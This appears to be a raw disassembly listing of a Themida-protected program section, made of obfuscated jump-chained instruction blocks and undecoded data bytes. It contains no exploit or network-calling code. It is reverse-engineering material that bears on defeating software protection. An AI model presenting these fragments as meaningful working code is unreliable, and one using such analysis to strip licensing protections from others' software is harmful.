; ---------------------------------------------------------------------------


loc_5629BB:				; CODE XREF: Themida_:00552655j
		add	edi, ebp
		jmp	loc_55FCD7
; ---------------------------------------------------------------------------


loc_5629C2:				; CODE XREF: Themida_:00556E0Fj
		mov	esp, [esp]
		jmp	loc_555815
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 3099B951h, 0F1812A13h, 0A37463Eh,	79D6E181h, 0D1F70104h
		dd 0FFC332E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5629E9:				; CODE XREF: Themida_:00562832j
		xchg	edi, [esp]
		pop	esp
		not	edx
		sub	esp, 4
		jmp	loc_55412D
; ---------------------------------------------------------------------------


loc_5629F7:				; CODE XREF: Themida_:005550DAj
		push	dword ptr [esp]
		jmp	loc_555E63
; ---------------------------------------------------------------------------
		db 87h
		dd 895C242Ch, 4B82404h,	81000000h, 4A032EE9h, 81C1015Ah
		dd 4A032EC1h, 4552E95Ah, 0EA01FFFFh, 4EA835Dh, 516468h
		dd 24148900h, 0C281E289h, 4, 4EA81h, 0FF520000h, 0E9042474h
		dd 4B9h
; ---------------------------------------------------------------------------


loc_562A44:				; CODE XREF: Themida_:00564D2Aj
		push	ecx
		push	1C462BBDh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_558E42
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0C9h
		dd 0E95D3C55h, 0FFFEECDAh, 0B0E95352h, 0C0FFFF51h, 0E28004E2h
		dd 6E2C0F3h, 0E9B4EA80h, 0FFFEEAE2h, 8B243C87h,	0C7E92424h
		dd 83FFFFD0h, 0BA5204C4h, 2579647Fh, 8106E2C1h,	0C94AF1F2h
		dd 81DAF768h, 0C7CC60F2h, 5AD001ADh, 0E281605h,	2DF02969h
		dd 690E2816h, 0AFBB5351h, 8964A866h, 9C2FE9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562ABA:				; CODE XREF: Themida_:0056081Dj
		sub	ecx, ebp
		jmp	loc_55403B
; ---------------------------------------------------------------------------
		db 66h,	68h, 0BBh
		dd 0C896654h, 0E491E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_562ACE:				; CODE XREF: Themida_:0055ADDDj
		add	bl, 95h
		not	bl
		push	dx
		push	ecx
		jmp	loc_561B97
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0D6E92434h, 1000019h, 0C68359CEh, 24343304h,	33243431h
		dd 248B2434h, 2434FF24h, 18306858h, 0C890000h, 57E18924h
		dd 7A664268h, 0A8E95F52h
		db 13h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562B0F:				; CODE XREF: Themida_:00564CD2j
		push	1A4A06F4h
		jmp	loc_5640D5
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFF45B0h
; ---------------------------------------------------------------------------


loc_562B24:				; CODE XREF: Themida_:0055124Dj
		add	edx, 0D25DEF4Bh
		mov	edi, edx
		pop	edx
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_55B730
; ---------------------------------------------------------------------------


loc_562B44:				; CODE XREF: Themida_:00564DBCj
		mov	[esp], esi
		mov	esi, 7BFC2BFFh
		shl	esi, 8
		and	esi, 55550AD5h
		and	esi, 31C31193h
		shl	esi, 1
		xor	esi, 294866D1h
		jmp	loc_55346C
; ---------------------------------------------------------------------------


loc_562B68:				; CODE XREF: Themida_:0055A45Bj
		pop	edx
		pop	ebx
		add	ecx, 18FE78DBh
		jmp	loc_55A03A
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 31000000h, 56565FF8h, 0C6815E54h, 4,	4EE81h,	34870000h
		dd 0C895C24h, 52505224h, 44452FBAh, 0CBBA527Ch,	0E934D76Eh
		dd 0FFFFD4EDh, 7E18A5BBh, 0F4EB8124h, 4B475A05h, 77F38143h
		dd 299D304Ch, 0BF2E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562BC2:				; CODE XREF: Themida_:0055E7C7j
		sub	esp, 4
		jmp	loc_5569A5
; ---------------------------------------------------------------------------
		db 80h,	0ECh, 6Fh
		dd 3DE9E730h, 5A00001Ch, 4C481h, 0DC200000h, 7BF4805Bh
		dd 0E96AF480h, 193Fh
; ---------------------------------------------------------------------------


loc_562BEC:				; CODE XREF: Themida_:005573ACj
		pop	edi
		push	eax
		mov	eax, 262D13F9h
		not	eax
		push	esi
		push	ebp
		push	eax
		push	4BA56C17h
		jmp	loc_55DA2B
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 6EE90424h, 81FFFEEDh, 0FF4EB0E9h, 0C7E98138h, 557CBE28h
		dd 0E91013BDh, 5DE90968h, 0FF397EE9h, 0FDE981FFh, 29114A59h
		dd 0FDC181F1h, 50114A59h, 21216AB8h, 0AD52E903h, 0C581FFFFh
		dd 34733D4h, 32E8C381h,	9FE95956h, 0E9FFFF9Dh, 0FFFEE30Bh
		dd 4C381h, 0C3830000h, 103DE904h, 5F540000h, 4C781h, 0C7810000h
		dd 4, 0E9243C87h, 0FFFFDB15h
; ---------------------------------------------------------------------------


loc_562C78:				; CODE XREF: Themida_:00561313j
		and	eax, 15F9370Ch
		shr	eax, 8
		shl	eax, 2
		sub	eax, offset byte_5280C7
		add	ecx, eax
		pop	eax
		push	0
		sub	[esp], ecx
		jmp	loc_563203
; ---------------------------------------------------------------------------
		dd offset loc_409467+1
		dd 0C69E900h, 9CB50000h, 5966EB20h, 8004EBC0h, 2CE9C2F3h
		dd 0F7FFFF24h, 0A3C281DAh, 89D425A4h, 0A9AAE9D5h, 0E95CFFFFh
		dd 0FFFFDAF5h, 0FEE292E9h, 243487FFh, 5945E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562CD6:				; CODE XREF: Themida_:00553B74j
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, eax
		sub	ebx, 3B686EE0h
		sub	ebx, 2AEC4A1Ch
		mov	eax, [esp]
		jmp	loc_55F16F
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 28h
		dd 5062212h, 46F430E7h,	0E72DC801h, 5946F430h, 55240C8Bh
		dd 8904EC83h, 0BA522424h, 4, 4245401h, 5A37E95Ah, 0E95FFFFFh
		dd 1526h, 0B1515A2Ch, 59C82808h, 3E3A68h, 241C8900h, 0F0E990B3h
		dd 0B3FFFF5Fh, 1EB753A1h, 0FD30ABB5h, 5BDD305Bh, 5EE95904h
		dd 68FFFEE3h, 48D4h, 0FF0CE0E9h, 81F780FFh, 0E95BF800h
		dd 0FFFF8FC4h, 0E9243489h, 0FFFF548Bh, 0B7241C89h, 0F23BE987h
		dd 0E7B8FFFFh, 483A443Ah, 25A7E9h, 3E1C000h, 0FF99A4E9h
		dd 241487FFh, 0E924248Bh, 0FFFFEEDDh
; ---------------------------------------------------------------------------


loc_562D98:				; CODE XREF: Themida_:0055FA8Cj
		mov	ebx, 4
		add	edx, 39612722h
		sub	edx, 40CB24E5h
		jmp	loc_5658C0
; ---------------------------------------------------------------------------
		dw 92BAh
		dd 5653140Eh, 6969BFBEh, 55F6814Eh, 0F7441978h,	81D6F7DEh
		dd 0B84D61EEh, 81EED101h, 5BE243EEh, 16AE904h, 3988FFFFh
		dd 0D4E1E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562DDE:				; CODE XREF: Themida_:00564FD5j
		pop	eax
		push	eax
		mov	eax, 57287255h
		sub	eax, 0FAF0ACAh
		add	ecx, eax
		jmp	loc_56081C
; ---------------------------------------------------------------------------
		db 97h,	81h, 0CFh
		dd 44B87F5Fh, 3527CF81h, 0D7F7646Eh, 0FF113DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562E05:				; CODE XREF: Themida_:005530E8j
		shr	eax, 5
		not	eax
		xor	eax, 0FF87844Bh
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 6
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_563527
; ---------------------------------------------------------------------------


loc_562E36:				; CODE XREF: Themida_:0055DAB4j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55FC5A
; ---------------------------------------------------------------------------


loc_562E47:				; CODE XREF: Themida_:0055AC34j
		pop	esp
		and	eax, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		push	2699h
		mov	[esp], ecx
		mov	ecx, 0A960468h
		xchg	eax, ecx
		inc	eax
		xchg	eax, ecx
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		not	ebx
		jmp	loc_56421C
; ---------------------------------------------------------------------------


loc_562E7B:				; CODE XREF: Themida_:00557520j
		xor	edi, ebp
		pop	ebp
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		dec	eax
		sub	eax, 1D864264h
		push	eax
		push	ebx
		mov	ebx, 6A322310h
		jmp	loc_5590C3
; ---------------------------------------------------------------------------


loc_562E98:				; CODE XREF: Themida_:005637B9j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_5515B7
; ---------------------------------------------------------------------------
byte_562EAB	db 64h			; DATA XREF: Themida_:00550E70o
		db 66h,	8Bh, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_564676
; ---------------------------------------------------------------------------


loc_562EB7:				; CODE XREF: Themida_:0056201Bj
		add	edi, 4
		add	edi, 4
		jmp	loc_5614D4
; ---------------------------------------------------------------------------


loc_562EC8:				; CODE XREF: Themida_:005593ABj
		pop	eax
		jmp	loc_553CE4
; ---------------------------------------------------------------------------
		dw 0D388h
		dd 2434FF5Ah, 4C48359h,	0FFAF98E9h, 74FF52FFh, 8F5A0424h
		dd 248B2404h, 24048F24h, 0C8BE0F5Ch, 722468h, 240C8900h
		dd 0FEE062E9h, 24148BFFh, 8F04C483h, 248B2404h,	24148924h
		dd 42474FFh, 0E6EE9h, 4EC8300h,	24048F54h, 4240483h, 4EC8359h
		dd 0BB241C89h, 5C221A73h, 68h, 7489E900h, 0BB53FFFFh, 57CB611Eh
		dd 0AAE9F387h, 81FFFF76h, 2245C1EFh, 0C5BE5622h, 116E1FDh
		dd 0C1815EF7h, 745641B2h, 0E981F901h, 745641B2h, 21ADE9h
		dd 242C8B00h, 904C483h,	0EF6858C7h, 89000001h, 0CEB9240Ch
		dd 8173BE58h, 9A7041E1h, 0BFF1814Fh, 1BC65AFh, 0D7F759CFh
		dd 0D28BBB53h, 0C7810C56h, 28A16615h, 0FFB923E9h, 0CDD68FFh
		dd 34890000h, 2414F724h, 0B9B9515Eh, 8169667Fh,	0D67494E1h
		dd 17F18136h, 109A00Eh,	0FF5659CEh, 0E95E240Ch,	0FFFEEFE3h
; ---------------------------------------------------------------------------


loc_562FC8:				; CODE XREF: Themida_:00565515j
		mov	esp, [esp]
		push	esi
		push	7937h
		mov	[esp], ebp
		push	edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_56234C
; ---------------------------------------------------------------------------
		dd 73D8EF81h, 0EF8131B3h, 0FFFFFFFFh, 8410EF81h, 0E981B071h
		dd 14FB09BEh, 1690E9h, 5D8F700h, 5EAA1F55h, 5855E981h
		dd 0C1017C19h, 5855C181h, 0B8E97C19h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563017:				; CODE XREF: Themida_:0055C061j
		pop	edi
		jmp	loc_555D96
; ---------------------------------------------------------------------------
		db 88h,	0E2h, 58h
		dd 0F280C2FEh, 0A0B3531Ch, 0F65BDA30h, 4E2C0D2h, 288EB151h
		dd 0C38059CAh, 0E9D32853h, 0FFFF666Bh
; ---------------------------------------------------------------------------


loc_563040:				; CODE XREF: Themida_:0055ACA2j
		add	eax, 29137C5h
		pop	esi
		add	eax, 108409C7h
		sub	eax, edx
		sub	eax, 108409C7h
		sub	eax, 2CBA5D5Bh
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2F1D736Dh
		add	ebx, 2AEC4A1Ch
		push	ecx
		mov	ecx, 70CD428Ch
		sub	ecx, 3564D3ACh
		sub	ebx, 152A606Ah
		jmp	loc_553B6C
; ---------------------------------------------------------------------------


loc_563083:				; CODE XREF: Themida_:00552004j
		pop	dword ptr [esp]
		pop	esp
		or	[esp], ax
		pushf
		jmp	loc_550F5F
; ---------------------------------------------------------------------------


loc_563091:				; CODE XREF: Themida_:0055EE58j
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5569BD
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0D468h, 24048900h, 42474FFh,	24048F58h, 8924248Bh, 8BE92434h
		dd 80FFFF89h, 0DE2867F6h, 686E685Bh, 0C890000h,	8808B124h
		dd 7EB5E9CCh, 0FF66FFFFh, 0E99C240Ch, 0FFFF03F0h, 4EC81h
		dd 14890000h, 7FF2BA24h, 0CA81456Ah, 7E0372BEh,	159CEA81h
		dd 0C28152CBh, 0D35F95A2h, 5843E951h, 0EFD1FFFFh, 0FFA13FE9h
		dd 240C89FFh, 4B9h, 0EEEF8100h,	8141AD62h, 0F96CE1EFh
		dd 98F7E943h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563122:				; CODE XREF: Themida_:00556BDBj
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_5586E4
; ---------------------------------------------------------------------------


loc_563137:				; CODE XREF: Themida_:0055B1F5j
		sub	ebp, eax
		pop	eax
		add	edx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	eax
		push	edx
		mov	edx, 330130E7h
		push	edx
		jmp	loc_564770
; ---------------------------------------------------------------------------
word_56315A	dw 34FFh		; DATA XREF: Themida_:00550CE4o
		dd 7B71E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563162:				; CODE XREF: Themida_:00565569j
		push	22F9h
		jmp	loc_563FAD
; ---------------------------------------------------------------------------
aWicsq		db 'W┴ГИQ+',0
		align 4


loc_563174:				; CODE XREF: Themida_:00554407j
		add	al, ch
		pop	ecx
		sub	al, 0Ah
		xor	cl, al
		pop	eax
		xor	al, cl
		jmp	loc_556B48
; ---------------------------------------------------------------------------
byte_563183	db 0FFh			; DATA XREF: Themida_:00550D08o
		dd 669D1C77h, 24041058h, 58F4E99Ch, 0EE80FFFFh,	89C8E956h
		dd 0F568FFFFh, 8900000Ah, 4832424h, 0E95A0424h,	0FFFEFD29h
		dd 3104C483h, 0C1E952C3h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5631B7:				; CODE XREF: Themida_:0055A84Fj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_550F65
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 204568h, 241C8900h, 5B2414F7h, 0F514BE56h, 21E9B1D9h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5631E7:				; CODE XREF: Themida_:005522E7j
		not	esi
		not	esi
		inc	esi
		push	ebx
		push	60904B3Dh
		pop	ebx
		xor	ebx, 2FA941DFh
		shl	ebx, 2
		neg	ebx
		jmp	loc_553A63
; ---------------------------------------------------------------------------


loc_563203:				; CODE XREF: Themida_:00562C93j
		pop	ecx
		xchg	ebx, ecx
		not	ebx
		xor	ecx, ebx
		xor	ebx, ecx
		jmp	loc_5637AB
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		db '$h^\',0
		align 2
		dw 65E9h
		dd 5AFFFFD3h, 8B243C87h, 38E92424h
		db 0FCh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56322B:				; CODE XREF: Themida_:0055AA70j
		add	esp, 4
		push	edi
		mov	edi, 4
		add	eax, 699B2D15h
		add	eax, edi
		sub	eax, 699B2D15h
		jmp	loc_55F7A2
; ---------------------------------------------------------------------------


loc_563245:				; CODE XREF: Themida_:0055826Bj
		push	edx
		mov	edx, 4
		jmp	loc_5562F3
; ---------------------------------------------------------------------------
		dd 0C380C300h, 40C3802Ch, 6814B050h, 0
		dd 8A240428h, 0C4832404h, 52722C04h, 0EA80CCB2h, 5AD028EDh
		dd 0B1516A2Ch, 8751E9F7h
		db 2 dup(0FFh)
word_56327E	dw 2B68h		; DATA XREF: Themida_:00550CC8o
		dd 0E9000007h, 0FFFEFB77h, 5A5FF889h, 58C1895Bh, 5068C181h
		dd 0D901633Ah, 1D8FBD55h, 0E5810D44h, 112D7ADAh, 0FF5B2FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5632A9:				; CODE XREF: Themida_:005619C5j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 2E9F0902h
		add	ebp, edx
		sub	ebp, 2E9F0902h
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 2
		add	ebp, 49100F00h
		sub	ebp, eax
		push	edx
		mov	edx, 49C77F3Ah
		neg	edx
		xor	edx, 51663004h
		jmp	loc_55F09F
; ---------------------------------------------------------------------------
		db 51h
		dd 0FF94B9E9h, 71B353FFh, 0FF7079E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5632F5:				; CODE XREF: Themida_:005599FEj
		mov	[esp], ebx
		jmp	loc_5527BF
; ---------------------------------------------------------------------------
		db 56h,	0FFh, 74h
		dd 0C1E90424h, 81FFFFA0h, 0F364BEEEh, 0E9D6297Eh, 0FFFF8887h
		dd 5AA568h, 240C8900h, 6FE9E189h, 81FFFF38h, 4C4h, 69F78100h
		dd 1C1C8C2h, 48B5FFBh, 4C48124h, 53000000h, 42474FFh, 24048F5Bh
		dd 9840E95Ch, 0F681FFFFh, 0AD4D91E2h, 0FEE99CE9h, 0CCE950FFh
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56335B:				; CODE XREF: Themida_:0055ABA2j
		pop	esp
		mov	[esp], ebp
		jmp	loc_55BE32
; ---------------------------------------------------------------------------


loc_563364:				; CODE XREF: Themida_:00559F1Ej
		dec	edx
		jmp	loc_55C839
; ---------------------------------------------------------------------------
word_56336A	dw 83ACh		; DATA XREF: Themida_:00550E74o
		dd 1C8904ECh, 0E81AE924h, 0C059FFFFh, 0EBC004E3h, 68B55105h
		dd 0E907E5C0h, 0FFFF4046h, 6E1C141h, 0E902E9C1h, 0FFFFD016h
		dd 4A36CB81h, 0C3814C6Ch, 0E733A61Ch, 0CEE9DE89h
		db 22h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5633A7:				; CODE XREF: Themida_:005522F3j
		pop	ebx
		mov	ebx, eax
		mov	eax, [esp]
		jmp	loc_557DD4
; ---------------------------------------------------------------------------


loc_5633B2:				; CODE XREF: Themida_:0055103Cj
		push	esi
		jmp	loc_551ECC
; ---------------------------------------------------------------------------


loc_5633B8:				; CODE XREF: Themida_:0055DBA8j
		inc	ebp
		add	ebp, 3281EF17h
		sub	ebx, 15D5787Ah
		jmp	loc_55D67F
; ---------------------------------------------------------------------------


loc_5633CA:				; CODE XREF: Themida_:005602DFj
		pop	ecx
		add	esp, 4
		push	4C47h
		mov	[esp], edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 3FE71695h
		push	edi
		jmp	loc_5535BA
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 265A46BFh, 4FDFF76Bh, 13B5B951h, 6E95047h
		db 18h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56340F:				; CODE XREF: Themida_:00556BABj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0
		push	esi
		jmp	loc_55CAD1
; ---------------------------------------------------------------------------


loc_563420:				; CODE XREF: Themida_:00555C80j
		mov	edi, esp
		jmp	loc_562829
; ---------------------------------------------------------------------------
		db 56h
		dd 1FC8E9h
		db 0
; ---------------------------------------------------------------------------


loc_56342D:				; CODE XREF: Themida_:0055ECA2j
		sub	ebx, 75D12727h
		add	eax, ebx
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55E8E0
; ---------------------------------------------------------------------------
		dd 0EB819391h, 0F2AA8042h, 875BD801h, 0B7E92404h, 0BBFFFFACh
		dd 62BB653Ch, 6F8CF381h, 62E96F4Ah, 5AFFFFBEh, 240C335Eh
		dd 33240C31h, 248B240Ch, 243CD324h, 0DAE1E99Ch,	0F301FFFEh
		dd 0FF5E70E9h, 962CFFh,	96B753E8h, 665BF800h, 0E9D82859h
		dd 0FFFF7D41h
; ---------------------------------------------------------------------------


loc_563498:				; CODE XREF: Themida_:005514F0j
		or	edi, eax
		jmp	loc_559CB0
; ---------------------------------------------------------------------------
		db 81h
		dd 0F821E3CEh, 0E5EE8113h, 113FC61h, 47D1E9F2h,	0E089FFFFh
		dd 4C9EE956h, 0A068FFFFh, 8900000Ah, 0A8E9242Ch
		db 0E9h, 0FEh, 0FFh
byte_5634C7	db 0ACh			; DATA XREF: Themida_:00550CB4o
		dd 7DFC68h, 241C8900h, 0FF4131E9h, 8BC801FFh, 8952240Ch
		dd 4C281E2h, 83000000h,	148704C2h, 0EC835C24h, 24148904h
		dd 0D3F63BAh, 8ECA8122h, 56105036h, 0FF970FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563501:				; CODE XREF: Themida_:0055595Bj
		sub	eax, 6FF92F67h
		not	eax
		dec	eax
		jmp	loc_552D08
; ---------------------------------------------------------------------------


loc_56350E:				; CODE XREF: Themida_:005526E9j
		inc	eax
		jmp	loc_558347
; ---------------------------------------------------------------------------


loc_563514:				; CODE XREF: Themida_:005542DAj
		add	ecx, 4
		jmp	loc_55C98E
; ---------------------------------------------------------------------------
		db 89h
		dd 0E4E9241Ch
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563527:				; CODE XREF: Themida_:00562E31j
		mov	esp, [esp]
		mov	[esp], ebx
		push	ebp
		mov	ebp, 29A20FA3h
		push	edx
		mov	edx, 5EB11F25h
		sub	dword ptr [esp+8], 10D44A69h
		sub	[esp+8], edx
		push	esi
		mov	esi, 10D44A69h
		jmp	loc_554E3B
; ---------------------------------------------------------------------------


loc_563550:				; CODE XREF: Themida_:00558A76j
		add	edi, 4
		sub	esp, 4
		mov	[esp], ecx
		push	3F551FBBh
		jmp	loc_555E6D
; ---------------------------------------------------------------------------


loc_563566:				; CODE XREF: Themida_:005613E1j
		add	edx, 0F9B4ABh
		jmp	loc_556AC4
; ---------------------------------------------------------------------------


loc_563571:				; CODE XREF: Themida_:00563E26j
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_5602D5
; ---------------------------------------------------------------------------
		db 0B9h
		dd 20F574F2h, 7E3FBD55h, 0C9E93C23h, 81FFFF88h,	4C7h, 243C3300h
		dd 0FF7421E9h, 4C681FFh, 56000000h, 42474FFh, 24048F5Eh
		dd 0E924248Bh, 0FFFFA249h, 0C15DEE87h, 69E904EEh
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5635C7:				; CODE XREF: Themida_:005514B2j
		pop	ebp
		jmp	loc_5540D3
; ---------------------------------------------------------------------------


loc_5635CD:				; CODE XREF: Themida_:00561B73j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55EE3F
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 40500h, 4870000h, 0F1F75C24h, 585268h,	24148900h
		dd 0E957E289h, 0FFFF1BE2h
; ---------------------------------------------------------------------------


loc_5635FC:				; CODE XREF: Themida_:00555E0Ej
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 48C0B96h
		shr	ebp, 8
		not	ebp
		jmp	loc_552A49
; ---------------------------------------------------------------------------


loc_563610:				; CODE XREF: Themida_:005530CCj
		push	edx
		mov	edx, 2280033h
		add	ecx, edx
		jmp	loc_553BDE
; ---------------------------------------------------------------------------


loc_56361D:				; CODE XREF: Themida_:005641B1j
		push	ecx
		push	edx
		pop	ecx
		pop	edx
		push	edx
		not	dword ptr [esp]
		jmp	loc_55A2ED
; ---------------------------------------------------------------------------
		dw 30E9h
		dd 5CFFFED9h, 0FF5C18E9h, 5E4C0FFh, 122DE9h, 0E4055C00h
		dd 128ED2Fh, 2FE42DD0h,	148B28EDh, 3711E924h, 3C87FFFFh
		dd 24248B24h, 0FF3DF2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56365D:				; CODE XREF: Themida_:00561FA0j
		push	edi
		mov	edi, 49CF0C93h
		and	edi, 64F01755h
		xor	edi, 40C00415h
		jmp	loc_56382D
; ---------------------------------------------------------------------------


loc_563674:				; CODE XREF: Themida_:0055AF99j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5599AB
; ---------------------------------------------------------------------------
		dd 1C8BDE01h, 0E2895224h, 4C281h, 0C2810000h, 4, 8B241487h
		dd 0E9512424h, 0FFFFC2B7h
; ---------------------------------------------------------------------------


loc_5636A8:				; CODE XREF: Themida_:0055B62Ej
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_5546CF
; ---------------------------------------------------------------------------


loc_5636BC:				; CODE XREF: Themida_:00555A51j
		add	esi, edi
		pop	edi
		push	edx
		mov	edx, 302E35EFh
		shr	edx, 1
		jmp	loc_551CE0
; ---------------------------------------------------------------------------
dword_5636CC	dd 240C8B66h, 455868h, 24148900h, 0C8685A54h, 89000003h
					; DATA XREF: Themida_:00550D78o
		dd 4BF243Ch, 81000000h,	4F720BC2h, 4FC28123h, 17A995Ch
		dd 4FEA81FAh, 0E97A995Ch, 0FFFEF54Bh, 5C24048Fh, 75168h
		dd 240C8900h, 0FF1323E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563711:				; CODE XREF: Themida_:0055DE5Aj
		push	dword ptr [esp]
		pop	esi
		jmp	loc_554911
; ---------------------------------------------------------------------------


loc_56371A:				; CODE XREF: Themida_:0055C088j
		push	47F26A89h
		jmp	loc_55CC79
; ---------------------------------------------------------------------------


loc_563724:				; CODE XREF: Themida_:005581D4j
		mov	ebx, 24h
		add	ebx, edi
		xor	[ebx], ecx
		pop	ebx
		push	edx
		mov	edx, 24h
		add	edx, edi
		xor	ecx, [edx]
		jmp	loc_557926
; ---------------------------------------------------------------------------
		db 0BEh, 82h, 32h
		dd 0CCE9304Ah, 1FFFF96h, 27E95AD1h, 50FFFF39h, 4B8h, 24440100h
		dd 0BFE95804h, 66FFFF97h, 66926693h, 66526642h,	665A6655h
		dd 0DDF7665Dh, 0FF004FE9h, 0FCF380FFh, 0F6C2B551h, 0EFED80D5h
		dd 0FF0A4CE9h
		db 0FFh
byte_563785	db 8Bh,	2 dup(24h)	; DATA XREF: Themida_:00550D94o
		dd 0FED7D2E9h
		db 0FFh
byte_56378D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00550C94o
		dd 0FF545224h, 525A2434h, 0C281E289h, 4, 8704C283h, 0A0E92414h
		db 26h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5637AB:				; CODE XREF: Themida_:0056320Cj
		xor	ecx, ebx
		push	edx
		mov	edx, 0E948EADCh
		add	ecx, edx
		pop	edx
		add	eax, ecx
		pop	ecx
		jmp	loc_562E98
; ---------------------------------------------------------------------------


loc_5637BE:				; CODE XREF: Themida_:00553FB0j
		push	edx
		mov	edx, 7A8A0971h
		jmp	loc_555696
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5A04h, 24248B24h,	24148966h, 34C668h, 24048900h
		dd 0C28812B0h, 66D00058h, 40B7685Ah, 14890000h,	565A5424h
		dd 0FF537BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5637F9:				; CODE XREF: Themida_:005536A8j
		mov	edi, 1DE31A7h
		sub	edi, 43B46D80h
		jmp	loc_55BE9E
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 55h
		dd 0F75F5D57h, 48D5E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563816:				; CODE XREF: Themida_:0055BE5Bj
		sub	ecx, 1BE474BFh
		add	ecx, edi
		add	ecx, 1BE474BFh
		pop	edi
		mov	ebp, ecx
		pop	ecx
		jmp	loc_561566
; ---------------------------------------------------------------------------


loc_56382D:				; CODE XREF: Themida_:0056366Fj
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		and	ebx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		push	6AC2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_5554D7
; ---------------------------------------------------------------------------
		dd 4BF57h, 0FA010000h, 0FFDD24E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56386D:				; CODE XREF: Themida_:005535CCj
		mov	[esp], ebx
		jmp	loc_559442
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 89243489h, 4C681E6h,	68000000h, 35A7h, 55243C89h, 0C5075868h
		dd 0E03DE96Eh, 0FE01FFFFh, 83243C8Bh, 0EC8304C4h, 24348904h
		dd 42474FFh, 8B2434FFh,	0C4832434h, 0E1895104h,	0FF5CAEE9h
